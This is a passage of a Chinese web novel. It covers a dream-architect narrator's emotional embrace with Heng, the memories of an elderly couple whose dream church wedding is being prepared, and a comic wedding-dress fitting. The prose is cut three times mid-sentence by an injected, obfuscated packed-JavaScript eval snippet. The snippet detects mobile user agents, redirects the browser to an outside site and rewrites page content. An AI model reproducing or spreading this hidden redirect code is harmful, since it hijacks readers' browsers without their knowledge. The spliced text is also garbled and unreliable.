“他不是个坏人,他是很狡猾,他甚至有点残忍,但他不是坏人,那是他保护自己的手段,如果他没有在充满危险和恶意的环境下生活,他就会和你一样。”她看向我的眼睛,短暂地占领视神经的筑梦师猝不及防和她对视,他吓跑了,落荒而逃,留我落在她的目光里,和她只隔着呼吸都可以抵达彼此的距离。 “你就是他的底色,你是怎样一个人,他原本就是怎样的一个人。他不会是个坏人,因为你不是坏人。他和你一样善良,一样勇敢。你也和他一样聪明,是难得的天才。”她轻轻地笑了,短促的气息从我和她之间的狭窄空间里窜过,像风吹过海面,在我的胸腔里引发一阵小小的涌动。“你真的很矛盾,不对,你们两个都很矛盾。你们一边互相嫌弃,一边互相嫉妒,难怪你一天天的又懒又馋,你的内心也太不平静了,精力全耗费在打架上。——喂,你怎么了?” 她的目光忽然又回到我的眼睛里,她有些难以置信地朝我伸出手:“你在哭吗?” “我没有,他在哭。”我拆穿某个自以为躲在里面哭就不会被发现的家伙,引来他气急败坏的一拳捶墙。 “你也在哭啊。” “啊?” 我怔怔地伸出手,往自己脸上抹了一把。湿的。我的天我居然在哭,不可能,必然是他在哭,但我是有点激动。我在激动什么?我不知道。我的大脑很混乱,很混乱。筑梦师现在正怂成一团躲在纵隔狭窄的空间里为他过去二十年都不曾暴露的脆弱落泪,因此他全面退出了和我争夺显示器和扬声器的战斗。现在只剩下我了。但我的大脑依然很混乱。它莫名其妙地开始播放我的过去,播放我和她的过去。我一次又一次醒在床上,一次又一次地看她叉着腰站在我面前,她总是伸手拍我脸,然后说,喂,江夷,醒醒,没事了,你还好吗?长此以往我已经形成条件反射,看见她我就知道我醒来了,她和噩梦结束就此等同。 我从回忆中回过神来,恍惚间竟望见她又向我伸手,好像是要给我擦眼泪。 我慌忙扣住她的手腕:“别,脏。” 她的手腕太细,我不敢用力,因而她轻易地带着我的手靠近,她用拇指轻轻拭去一滴几乎已经滑到我嘴角的眼泪,这触碰过于亲近,显得有些陌生,但她靠近时在鼻尖拂过的淡淡的润肤露气味又很熟悉,我想那一刻有什么东西击中了我,使我失去控制,盲目勇敢,全然听从本能的安排。 我扣紧了她的手腕。 “我可以抱你吗?” 她一愣。而后眼睛微微睁大,她呼出一小口气,颇有些无奈又有些纵容地弯了弯唇。 她说:“你抱吧。” …… 她的身体比我想象中要小得多,我几乎可以把她完全埋在我的怀里。她的头顶只堪堪到我的肩头,我不敢用力,生怕压到她。但我的心跳特别快,特别快。这时候已经没有掩饰的必要,也没有掩饰的可能。我的心脏隔着胸壁的骨肉,一下一下地试着去靠近她。 很奇怪。之前我是不敢碰她的,过去这个星期里,和她躺在同一张床上,走进同一个梦里的每一天,我都不敢碰她。就算是很轻微很短暂的肌肤接触,都会引起我不能轻易收场的生理反应。但现在抱着她,我的心里一点欲念都没有。我……我只觉得回家了。好像我飘荡在外的灵魂终于回到了壳里,假如此刻我睡着过去,我肯定我会直接回到我梦里的家中。 我在融化。他也是。太危险了这种感觉,我的心脏裸露在外,它常年被我锁在重重铁甲之内,这世界的声和光对于它来说,都有点过于刺激。 “你还在哭啊?” “嗯。”我忍不住把头往她肩上埋,“太丢人了,你别说出去。” “哈哈,你又有把柄在我手里咯。”她在我怀里笑,“告诉你一个秘密,你听不听?” “嗯。” “你和钟灵说的话我都听到了。那时候我就想问你要不要抱一抱,但是有别人在,我就想着算了。” “……” “喂你怎么哭更厉害了,喂!你再哭,明天眼睛会肿的!” …… 第二天我的眼睛几乎睁不开,我的世界只剩下一条长长的缝,而珩在缝里看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369633|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我一醒来,就看见她指着我笑:“哈哈哈,悲伤蛙!” 所以我是戴着墨镜走去社区活动中心的,我们两个的回头率更高了,一个阴天戴墨镜的装酷男人,带一棵行走的小圣诞树。行吧,反正总比不戴墨镜好。我都不敢靠近路边公园的鱼池,我怕里面的肿眼泡金鱼当我是同类,跟我打招呼。 到了社区活动中心,我摘下墨镜的那一刻,果然引发了一阵快活的骚动。我的眼睛实在是太肿了,双眼皮肿成了单眼皮,大眼睛肿成了小眼睛。珩说我像悲伤蛙,张姨说我像瞌睡加菲猫,花阿姨问我是不是过敏了,只有温柔的钟灵阿姨把我拉到一边,问我是不是哭过。 ……别说了。昨晚某个二十几年来几乎没哭过的家伙,终于等到了宣泄的契机,他的伤心发大水,水漫金山水淹七军大水冲了龙王庙,反正这身体伤心到难以呼吸,我抱着珩直抽泣,哭得珩都害怕。一开始我们是在温馨地拥抱彼此,十五分钟之后我因为哭得止不住,嘴角发麻头脑发昏。我害怕极了,我说我要死了,我头好晕,救命。好不容易现出了些许柔情的珩,又爬起来,一副研究实验动物的表情研究我。她想了一会儿,又掏出手机不知道搜了什么,之后她说我是“呼吸性碱中毒”,然后跳下床,翻出一个塑料袋,把我的脸给罩住。 我就这样被套住半张脸,本人在怕死,那家伙还在哭,所以我在惊恐地流眼泪。珩跪坐在床上,她看着我,问我好点没。我说我好像好点了,但是还是呼吸困难,要不你还是给我打120吧。她“哎呀”一声,然后帮我扯了下我脸上的塑料袋,我的气道顿时打开,我顿时感受到了生的喜悦。她小声自语:“塑料袋贴你鼻子上了。”我差点被她憋死,我真是衷心地谢谢她。 那家伙哭得太凶,我想他的伤心已经超出了事件本身,他只是难得找到个安全的角落,发泄一下他过去的诸多复杂情绪。我已经平静下来了,珩说我看起来像是要立即收入院密切监护那种,因为我一脸平静地在爆哭,但凡是个人都能看出来我有点分裂。她看戏一样饶有趣味地看我,看了一会儿之后她开始好奇:“你要不要把他放出来?他是不是有话要说?这么哭下去也不是个办法吧。” 我说行,然后我把我的意识撤了出来,那家伙接管了我的身体,然后他也不说话,只是发出一些“呜呜”的啜泣声,一大个人蜷成一团,肩膀哭得一抽一抽。珩表示我现在这个样子和谐多了,我终于从一个人格分裂的奇怪男人,变成了一个伤心的大男孩。我的意识抢占扬声器十秒,我哭着“呸”了一声,说:“他一把年纪了还大男孩呢,我才是男孩。” 珩乐不可支,情难自禁,伸手像摸楼下金毛大狗一样揉了揉我的头顶,说:“你好可爱呀。” 我和他同时被她的言语和触碰镇住,不待我们回她一句“你也很可爱”,她就接着说:“你俩好像我以前养的两个鹦鹉,什么都要争个高低。” 我们两个好端端的又不做人,做鸟了。我们临时停火,一致对外,决定不搭理她。 49. 司徒阿姨 婚礼上其他宾客的建模工作已经完成,现在只剩下主角司徒阿姨和她爱人了。她老伴现在还在医院里住院,说是再观察几天平稳了再放回家,我和珩抓紧时间,计划赶在他出院之前把所有不需要他的工作都完成。 我和珩来得有点早,司徒阿姨还在给老伴送早饭回来的路上。我和她坐在院子的大榕树下等,我的大脑还不太适应这思考强度,每次从梦里出来,我都饿得几乎要低血糖,于是我买了两份麦当劳早餐,坐在躺椅上猛吃。珩盘腿坐在躺椅上,她托着腮看我吃早饭。我给她递过去一块薯饼:“看着我做什么?给你一个,别老看着。” 她不接,还看:“不吃。” 我把豆浆递过去。 她不接,还看:“不喝。” 见我向她投去怀疑的目光,她笑笑:“第一次见悲伤蛙吃东西,真新奇,你接着吃,不用管我。” 早知道我买杯咖啡,摁着她往她嘴里灌,让她三天三夜睡不着,这人真烦!!! 她一直看着我吃,我不理她了,爱看看吧,我吃我的。看着看着她开口说话:“你做好心理准备哦。” 我叼着半块薯饼,偏过头去看她,满脑子都是那个从长发珩身体里崩出来的家暴男:“这次又有什么?” “没什么,司徒阿姨的记忆很和平,”她说,“让你做好单身狗被暴击的准备。” 我“切”一声。这算什么,我天天都在吃路迢的狗粮,这地球上怕是没有几个人能比路老师肉麻了,我什么大风大浪没见过?真是小瞧人。 司徒阿姨来了,我刚吃饱,躺下的时候胃里还有点胀。还好司徒阿姨没什么特殊情况,她很丝滑地就循着我的引导回到了家——就是她现在住的地方。真好啊,我在心里暗暗感叹,她的理想世界和现实世界居然是一致的。 她说时间就回到她和老伴结婚的那一年吧,我在她的记忆库里跑。她的记忆库是一个抽屉,抽屉里放了好多光盘。这些光盘是盗版的,硬纸板包装,印刷水平一般。我变成一只小虫大小,掉进了抽屉里。堆放着的光盘像一座座扁扁的高楼,我在里面循着时间往前跑,很容易地就找到了她存放和老伴一起的记忆。我把光盘拿出来,那是一张《泰坦尼克号》的光盘。我笑笑说你们两个喜欢这个啊?这电影很虐啊。她说是啊,但是很浪漫,男女主角长得都很好看。她说老伴不喜欢,因为他觉得不吉利,每次看到沉船,他就干别的,不看屏幕了。以前是看报纸,现在是看手机,反正就是不看。直到最近这部电影在国内重映,他才第一次看到它具体的结局长什么样。我朝她比了一个大拇指:“阿叔真有定力,忍了快三十年,真是能常人之所不能。” 她的故事其实和其他阿姨并没有什么不同,那个年代的爱情和婚姻,基本都是一个范式。至少路线基本是一致的——十几二十岁到大城市里打工,经人介绍认识了年纪差不多的丈夫,结婚之后没多久就生小孩,因为计划生育,只好盯着这唯一的一个宝贝小孩长大。小孩上了大学,自己也快退休了。于是一切都空落下来,孩子长大了,孙子没出生,工作很无聊,天天等退休。做点什么呢?做点什么呢?家里只剩下老夫老妻两个人四目相对,无事可做,待在家真无聊,算了,下班去逛街吧,逛逛商场,看看电影,学当下的年轻人谈恋爱,看看恋爱到底有什么好谈。 司徒阿姨的老伴姓匡,是不常见的姓氏。但他是家道中落,前朝公子哥旁系的一支,能见面的亲戚均无一点文化,识字能算家族中罕有之事,因他出生于一九五六年,所以叫匡五六。司徒阿姨开心时叫他“阿六”,对外时叫他“阿匡”,生气时叫他“匡五六”,特别生气时叫他“死老嘢”。社区活动中心里有些人见过她老伴,他们叫他六叔。相传六叔比我脾气还好,几乎是呛他一顿毫无反应那种,年纪大了他反应更慢,加上经常穿宽松的衬衫,衣服下现出大大的啤酒肚,珩说他长得像《疯狂动物城》里的树懒闪电。六叔平时叫司徒阿姨“阿菊”,对外时叫她“秀菊”,因为不生气,除了过年在拥挤的花市和对方走失,基本不会直呼全名。两个人按部就班地相亲,结婚,生小孩,养小孩。一路到了小孩读上大学,时间去到一九九八年,两个人才终于开始真正地过二人世界。那一年《泰坦尼克号》上映,他们买了票去看,司徒阿姨哭得眼睛比我还肿,六叔不忍心看最后,闭上眼睛度过了电影最后的半个小时,并在电影院浓重的二氧化碳和此起彼伏的微弱哭泣声中,迷迷糊糊地睡了过去。醒来的时候看见老婆哭肿了眼,第一反应是“太好了她顾着哭肯定没发现我其实没看”,第二反应是“怎么办要不安慰一下吧”,然后大方地带老婆去冰室吃红豆冰雪糕。他们吃的那家冰室现在还开着,只是太贵,我和珩去吃过一次,两个人两杯雪糕,加上几个杂七杂八的小吃,几乎抵得上一顿饭钱。 到了千禧年前后,他们的女儿大学毕业。那时候的本科生还很珍贵,前途一片光明。第一个月工资发下来,女儿换掉了家里的大屁股电视,给他们买了个液晶电视机,屏幕很大,原设计是挂在墙上,要放在旧电视原来的位置,还要多掏两百块买底座。家里有了大电视,两老开始买电影光盘在家里看。正版光盘很贵,且只能坐四十分钟地铁,到市里的购书中心去买。六叔下班之后常年在附近游荡,他找到一个旧货市场,市场只在周末开放,会有卖盗版光盘的小贩在那里摆摊。于是周末六叔就和司徒阿姨两个人,慢悠悠喝个早茶,之后到旧货市场淘盗版光盘,五块一张,什么都有。买完光盘,两个人在回家路上经过的超市买点现成的熟食,蜜汁叉烧啊,奥尔良烤鸡啊,炸鸡中翅……随便买点,晚饭凑合凑合二十分钟做完,之后两个人抱着两个大碗,饭菜都在里面,看电影下饭。六叔喜欢看特工谍战片,打得血肉横飞,司徒阿姨食欲大受影响,为了报复,司徒阿姨某天播了个恐怖片,吓得六叔半夜上厕所时心惊胆战,他行动如风,恨不得瞬移到厕所光速尿完,然后瞬移回床上。如此几回之后,双方达成共识,吃饭的时候只看合家欢无厘头笑片和浪漫爱情片,实在找不到合适的,那就看自然风光旅游人文纪录片。有段时间司徒阿姨对海底世界很感兴趣,六叔去买光盘,问小贩有没有拍鱼的。小贩没看见司徒阿姨,以为六叔是自己一个人来的,他从他的大帆布袋里翻出一张粗糙的美人鱼主题黄片光盘,递给六叔,并表示这是珍藏,要十块一张。六叔缓慢地把眉毛拧成麻绳,摆摆手拒绝,说这是假鱼,他不要假鱼,他要真的鱼,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374535|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且超过五块就不买。小贩眼睛瞪成大珍珠,愣了一会儿之后,他给六叔掏出一张二手的大白鲨纪录片光盘,六叔递过去一张五块钱纸币,满意地拿着鲨鱼,在小贩惊奇的目光里离开。 大概在这些百无聊赖,人生重要时刻皆已过去,人渐渐变老,好像退居二线,变成故事的配角的日子里,两个人才终于开始了解彼此。从前谁也不会问对方,你觉得爱情是怎样的?人应该过怎样的生活?世界要往什么方向走?时间总会推着人走。为什么结婚?因为到时间了。为什么生孩子?不生孩子结婚干嘛。以前谁都不会问这种无关紧要还很费脑很费口舌的问题,但现在太无聊了,彼此就成了难得的一本不用费眼睛看密密麻麻的字,其中内容还耐人寻味的书。他们开始讨论电影里的角色,谁对谁错,谁好谁坏,喜欢谁讨厌谁,为什么。然后两个人忽然发现,啊,我们原来是契合的呀。其实结婚的时候谁也没想契合不契合的问题,那时候甚至没有“契合”这个概念。而后又慢慢生出一些怀疑——我们到底是一开始就契合,还是在漫长的共同生活的日子里,渐渐地融入对方,成为对方呢?这问题就好像“夫妻相”一样,谁也说不准到底是一开始就相似,所以才互相吸引,还是因为共同生活,才变得相似。但是答案也不重要了,反正也这么过了好多年,此后也会一直这么过下去。 时间一晃,二十年过去,六叔当年觉得退休遥遥无期,此时他也已经退休快十年了。男人的衰老似乎更快一些,司徒阿姨还天天去公园里和老姐妹们跳舞,六叔已经走不动了。他先是得了糖尿病,人瞬间瘦下去十几斤,标志性的大肚腩都快没了。等血糖缓过来,肝硬化又找上门。一查之下发现不只是肝硬化,甚至是肝癌。他这时候才开始回想过去——年轻时候喜欢喝酒,还喜欢吃鱼生,得了寄生虫病,吃点驱虫药,然后好了伤疤忘了疼,又接着吃。快乐好像有标价,赊的账迟早要偿还。司徒阿姨安慰他,说楼下谁谁,清淡饮食不烟不酒,比你还小呢,还不是一样半路得心梗,说走就走了。你现在一不是晚期,还能活好些时候,二年轻时还享受了胡吃海喝的快乐,你赚了,想开点!六叔这才宽慰一些,因为暴瘦而垮下去的脸上现出些许笑容。 时间又过去几年,六叔的身体每况愈下,出入只能靠司徒阿姨推轮椅送他。司徒阿姨也推不动了,两人外出次数锐减。正好前两年《泰坦尼克号》重映,女儿开车把两老送到附近电影院去,重温经典。电影是修复版,比九八年的时候看起来清楚多了,还是3D的。两个老人戴上3D眼镜,在早晨九点几乎没人的影厅里看电影。在过去的二十多年里,两个人已经翻来覆去把这部电影看了好多次,司徒阿姨还是和以前一样,从两个人掉进海里的时候开始哭,一直哭到电影结束,好不容易歇一会,镜头放到最后回到大船,莱昂纳多饰演的Jack缓缓转身,她又没忍住哭得凄楚。而六叔已经不记得这部电影的大多数细节,他甚至不记得要在什么时候闭眼不看,所以他第一次看完了全片。然而他的记忆力实在太差,看了结局就忘了开头,Jack忽然出现,他问隔壁哭掉一包纸巾的老伴:“咦,她妈呢?她未婚夫呢?那两人什么时候同意他们在一起了?人还挺好的,我还以为是反派呢。” 50. 珩的年龄 两人想要一个教堂婚礼,也是从电影开始的。以前看周星驰的无厘头笑片,看到《上海滩赌圣》,司徒阿姨喜欢上了电影里光线昏暗,长凳老旧的教堂。再后来,他们看到《时空恋旅人》,男主角纠结找谁上去发言,那个片段看得两个人直发笑,之后就开始讨论,哎,如果我们也办一个婚礼,找谁来当证婚人呢?想了半天,司徒阿姨的朋友嗓门太大且笑点低,容易笑场,有失庄重;六叔的朋友和他文化程度相当,怕是说不出什么漂亮的话,高兴了还容易不小心冒两句脏话。思来想去,最合适的人选居然是女儿。但是怎么能让女儿当父母的证婚人呢?真是倒反天罡。 六叔退休之后,两人空闲时间更多了,他们到市里的天主教堂实地参观,教堂门口布告板贴了一张告示,说是可以申办教堂婚礼。一看要求,第一条赫然写着,“夫妻双方皆信奉天主教”。司徒阿姨叹一口气:“可惜我们不是。”六叔摩拳擦掌,兴致勃勃:“谁说我们不是,也可以是。”两个无宗教信仰的人,早上拜神拜的是太爷太奶神位,还有土地公,主打一个有什么拜什么,心诚则灵。两人兴冲冲要进去问问,司徒阿姨看一眼隔壁老伴,小声提醒:“你快把你戴的玉佛收起来。”六叔偷感很重,赶紧把项链摘下,藏到口袋里。 最后他们还是没有强装教徒,跑去别人的地方办婚礼。这事情慢慢被放下了,直到某天司徒阿姨认识了珩。珩表示可以帮她实现这个愿望,她很快就列出了一个具体的方案,但因为作为记忆载体的司徒阿姨,大脑容量很低,稍微记点东西,就要喊头疼。加上六叔身体不好,她总要照顾老伴,精力和时间都不够。这事也就这样一直拖着拖着,直到我出现。珩一眼看中了我这个训练有素但空空如也的大脑,我不仅有个可观的磁盘,还有求于她,人还天真单纯十分好骗,我在这个时间点出现在这里,简直是天赐良机。听完整件事的始末,我不免感到些许荣幸。这是我第一次参加别人的婚礼,而我居然是这场婚礼关键的一环。 傍晚时分,从梦里出来的司徒阿姨去给住院的六叔送饭,榕树下又只剩下我和珩两个人。我躺在树下,大脑缓慢地充电,而珩坐在我旁边。我们这般安静地坐了一会儿,我能说话了。我说:“你是对的,我大意了,我以为见过路迢那种肉麻鬼,就不会轻易羡慕别人的爱情。” “我就知道。”珩说,“甚至他们两个的故事比路老师还让你羡慕,是吗?” 我从躺椅上坐起来:“你怎么又知道?” “因为不同人理想的爱情是不一样的啊,听你描述,路老师应该是浪漫的热烈的爱,司徒阿姨他们的不一样,他们是细水长流那种的,”她说,“我觉得你应该比较喜欢后者吧?你看起来像是会慢慢喜欢上自己的好朋友,最后和朋友在一起的人。” 她好喜欢这样直直地看人,总有种小动物似的天然的坦荡。可我不坦荡。他也不坦荡。她这句话几乎有些像在拆穿我,我想我要躲开这话锋,但这话语已逼至面前,怎么撇开都显得生硬。我只好假装低血糖,柔弱地偏开脸,小声地回一句:“……是吗。”之后又忍不住问她:“那你呢?……你喜欢怎样的?” “我啊?”她笑,“我喜欢长得好看的。” “啊?我以为你是个智性恋呢。” “智性恋?是说喜欢有才华的人吗?哎,谈恋爱当然要找好看的谈,喜欢才华为什么不去看书?书还不会跟你吵架。” 好有道理,无法反驳,我又被她绕进去了。 珩的教堂已经基本建完,我这边的建模只差六叔一个人了。我们的计划是这样的:挑个好日子,找个好吃的饭店定个房间,点好菜之后,让服务员晚点上菜。在没有任何人进来打扰的时间里,我们短暂地睡过去。珩将梦境往下连推两层,现实里的十五分钟就会变成梦里的二十个小时,正好可以完成整个婚礼的流程。 六叔再过两天就要出院,我找了个下午没课的日子,和他们一起去订饭店,试婚纱。我说要试一下婚纱的时候,一群女人用疑惑的眼神看向我。她们表示难以理解,我居然无法在不试衣服的情况下,想象出衣服具体的上身效果。我指了指我身上的T恤(今天不是米老鼠了,今天是海绵宝宝)和运动裤,说,对你们这群衣品很好,每天都换不同花样来穿的人来说,想象一下试衣效果,当然是轻而易举的事,但你们看看我!我每天都穿得一模一样,我很难在这方面有丰富的想象力! 张雨铃阿姨开了他们家的旅行七座来接我们几个,珩坐在副驾,我坐在中间一排,剩下三个阿姨在后排挤在一起聊天。由一个头发斑白的阿姨来试婚纱,场面过于惹眼,到时候要只试不买,谈判难度会大幅增加。一番讨论之后,她们决定让我和珩来试,我和她假扮夫妻,我穿六叔的,珩穿司徒阿姨的。 “这行吗?我跟她看起来……像一对吗?” 问的时候我有些忐忑。像吗?我们好像比朋友要亲密一些,说是情侣,又有点勉强。 “行行行,没问题的,你俩看起来挺熟的,好多刚认识就闪婚的,比你们还不熟呢。”张阿姨说,“而且你担心什么?该担心也是阿珩担心。”她看一眼坐在副驾的珩,“她看起来像个未成年。” 我准确地抓住了盲点:“什么?所以你不是未成年吗?” 车子里很安静,几乎是鸦雀无声。我不知道她们安静是因为珩成年了,还是因为我居然到现在还不知道珩成年了。我猜是后者。因为大家都在用看小动物或者看小宝宝的眼神看我。 珩有点无语地回头看我:“你觉得我多少岁?” “……十六?”我说,“不对,你成年了,十八?” “你听我说话,像十六岁吗,江老师?” “不像。”我小声争辩,“但你长得像十六岁啊……” 张阿姨大嗓门接一句:“哟,江老师多会说话呀!”后排马上一片哄笑。 珩“哧”地一声也笑了,目光停在我身上,却不说话。我有点受不了她的目光,她这样直接地盯着我看,总让我整个人火烧一样发烫。 “所以你多少岁?”我凑近些,小声问。呃,其实也没有小声的必要,我想除了我之外,其他人应该都知道她的实际年龄。 我一开口,车上又安静了。完蛋,这不会是个很隐私的问题吧?但这对我很重要,救命,我居然连她几岁也不知道。算了,我连她真实姓名是什么都不知道。我什么都不知道,但我已经把她带到我梦里的家去了。好的。我真是草率得让人惊叹。 她眨眨眼:“其实我比你还大一点。” “什么???” 我不由得又把她从头看到脚从脚看到头,我想起之前在沙发上在车里在各种场合里,我偷偷观察她,她那光滑细腻得没有一丝瑕疵,几乎像珍珠一样泛着微光的皮肤。她比我大?她比我大? 我原地愣住,瞳孔地震,嘴巴微张,没反应过来要把下巴收回。 “你是富婆对吗,一个月花五百万日常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397718|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保养那种?还是说你修习不老养生道?我没在夸张,你长得和我们学校的学生差不多,甚至还是初中部那群,没经过中考毒打的。” 后排几个阿姨已经笑成一片,连珩也在笑,张姨声如洪钟,嚯嚯嚯直笑,车里充满了快活的空气。 唉,行吧。我坐在座位上,在她们偶尔传来的谈笑声中假装放空,无聊地看窗外。我不知道怎的也有点开心,好像某个无形的重担,悄无声息地消解了。我忍不住又偷偷地看珩,她现在正看着前面的路发呆,从我这个角度,只能看见她的耳朵,和耳侧零散的碎发。我不禁又想起那个抱着她的晚上,真疯狂啊,但也真好。过了好几天,我还持续在回想。她的脑袋毛茸茸的,短头发有点扎人。她那时候在想什么呢?她这几天又在想什么呢?她会不会也像我这样,夜深人静,将睡未睡,白天的现实的事情暂时忘却的时候,忽然无来由地想起那个拥抱?我几乎有些贪恋抱着她的感觉,十五分钟的事情,翻来覆去地被我温习了一遍又一遍。也许真是因为之前没有过这样的体验?少见多怪吧。多抱几次也许就好了。唉……如果真能多抱几次就好了。一次也行。我真是彻底地完蛋了。 车子开到了花阿姨记忆中的婚纱街,这里的楼房低矮,显得树很高大,路不宽,两边树冠连成一片,车在树荫下穿行。珩在打瞌睡,我有点紧张,而其他阿姨在反复叮嘱我。 “你别显得太满意!” “无论好不好看你都挑刺!” “对对对,不然我们很难不买就出来。” 我说行行行,没问题,此有何难?不好看当好看夸倒还有点难度,硬要挤点赞美的话,考验语文水平。好看装不好看还有难度吗?不管我看到什么,我都皱起眉头,一脸扫兴相就行了。 我们到了第一家婚纱店。我和几个阿姨在沙发上等,店员带着珩去换衣服。我吃了午饭没睡午觉,一停下就犯困。几个阿姨倒是叽叽喳喳地在店里转。我瘫在沙发上,无聊地看她们几个走来走去,看了一阵,那边更衣室传来开门的声音。我循声往那边看,店里装的是吸顶灯,中间光线明亮,周围光线柔和,看起来微微有些聚光灯的效果。离得有点远,我只看见白光下纤细修长的一个人影,珩戴了个闪闪发亮的发冠,切面晶体反射出彩色的星点似的光,粼粼地落在她的墨绿色头发上,也许是光影幻觉,连她脸上颈上,还有抹胸长裙上裸露的皮肤看起来都微微发光。而长裙垂顺地拖到地上,仿佛瓷做的仙女塑像,美丽得不像尘世人。要知道此人向来在我面前都是宽松T恤配运动短裤,底下不是篮球鞋就是洞洞鞋,我从来也没太留意她到底是漂亮还是不漂亮,她忽然这样出现在我眼前,我实在有一瞬间感到震撼。我几乎是无意识地从沙发上坐直了身,定定地看着她。 隔壁的店员敏锐地捕捉到了我的神态和动作变化,她摆出一个甜美笑容,问我:“先生觉得怎样?” 我先是没反应过来珩的“先生”现在是我,然后差点没管住嘴开始夸,之后我才如梦初醒,想起阿姨们刚刚长达十分钟的嘱咐。我吸了一口气,然后生硬地回一句:“一般般。” 店员被我陡然一个转折惊住,想必她在心里暗骂我人格分裂,因为我眼睛都看直了,然后板着一张臭脸,说一般。我按照剧本,掉头喊妈。张阿姨扮演我妈,她也一脸挑剔地走过来,皱着眉头打量珩。几个阿姨真是戏精,她们开始你一言我一语地挑刺,同时拉着珩原地旋转,好让司徒阿姨能看到裙子的所有细节。 51. 心意 我们走了好几家店,珩换了好多套衣服。我们一行人严格按照剧本演戏,强势的妈,破碎的他,恋爱脑的她,还有强势妈三个挑三拣四的闺蜜。她们几个真是太会演了,看来她们是服装店里讲价的高手,一会儿挑设计的刺,一会儿挑布料的刺,实在挑不动了,她们就问我喜不喜欢。我演了半天令人讨厌的大男人,一副习惯被讨好的架势,翘个二郎腿,歪在沙发上,珩穿得再漂亮,我都说一般。她今天的角色是一个会动的人台模特,但我很难单纯地把她当成一个模特,特别是她每次都提着长长的雪白的裙摆,期待地走到我的面前,之后像动画里的迪士尼公主一样,提着裙子转一圈,之后笑意盈盈地看我,问我好不好看。平时我对她说过的“不”字日均不足一个,但今天我的人设是因为脸好看所以从小被女人簇拥着长大,惯得毛病一堆,完全不给恋人情绪价值的花花公子,我只能摆出一副对她这个结婚对象不满意的样子,持续地扫她的兴。 本来一切可以安静地结束,但她为了配婚纱,换上了恨天高高跟鞋。她平时行走如风,绝不会穿这种影响行动的美丽废物。她走得磕磕巴巴,为了不让自己踩到裙子,一直低头看地面。她那态势让我想起了把鱼尾变成双腿的小美人鱼,又可怜又可爱。她提着裙子在我面前转,不料鞋跟踩着裙摆里衬,一转身人就往旁边倒。扮了半天漠不关心臭男人的我,几乎在那一瞬间就从沙发上弹起来,一步追到她旁边,伸手就去接她。她很轻,我单手就能把她兜住。她倒在我的臂弯里,仰面看我,我不知道我那一刻是长出了獠牙还是变成了妖怪,她一对上我的目光,就仿佛被针扎了似的,匆忙地偏开脸。我赶紧地也把目光从她脸上移开,但她穿了条一字肩抹胸款的婚纱,胸前还挖了个小小的“v”型,我的目光往下一走,就看见她锁骨前胸大片裸露的肌肤。我的眼睛仿佛被烫到,我也匆忙地偏开了脸。 我把她扶起来,假装冷淡地松手,说我去看看我的衣服。她“嗯”了一声,继续敬业地扮演一个恋爱脑,踩着她的恨天高,磕磕巴巴地跟过来。我实在是演不下去了,我的身体不由自主地就放慢了动作,好把速度保持在她这个穿了高跟鞋路都不会走的小短腿能跟上的范围内。她穿了高跟鞋,和我的身高差只剩半个头,我没忍住小小声问她:“你没扭到脚吧?” “没有,”她说,“不过这鞋真硬,还磨脚,太疼了。” “要不脱了吧,凑合凑合也能想象一下。” 恋爱脑珩女士瞪我一眼:“你快帮六叔试,别叨叨。” 男人的礼服比婚纱无聊得多,都长一样,除了颜色,我看不出来什么差别。几个阿姨对于给我挑衣服这件事热情很高,有一瞬间我甚至怀疑,她们不是想看六叔穿,是想看我穿。我随便挑了几套颜色不一样的西装,我先试的是一套中规中矩平稳得有些乏味的黑色西装,说实话这衣服质感一般,料子有点软,挂在衣架上的时候有种淡淡的前台客服工装感。至于上身,更是离谱,我看衣服领标上是我的号,里面衬衣一套,胸口扣子几乎扣不上。我现在脱得只剩一条内裤,站在更衣室里,算了懒得叫人,我稍微调整了一下姿势,并且呼出一口气,勉强把扣子都扣上了。领带一打,谁也看不到衣服被崩出来两条小缝,唉就这样吧。我光速把衣服套上,拉开更衣室的门出去。 “怎样?” 离我最近的是店员,她的目光忽而一凝,之后又很快活转过来,然后她回头看了珩一眼,又若无其事的转回来,向我微微笑了笑。因为我表现得有些恶劣,她全程保持着职业的礼貌微笑,虽然态度很热情,但是心里估计已经骂了我三十次垃圾男人。但就刚刚我出来那一刻,她先是看我脸,然后看我胸,她藏匿起来的厌恶在她把我整个人快速地扫了一遍之后消失了,然后她看向珩,好像瞬间理解了她的恋爱脑。四个阿姨站在那里看我,张阿姨第一个反应过来,她皱着眉头伸手招呼珩:“你站过去看看啊,你俩这衣服能配上不?” 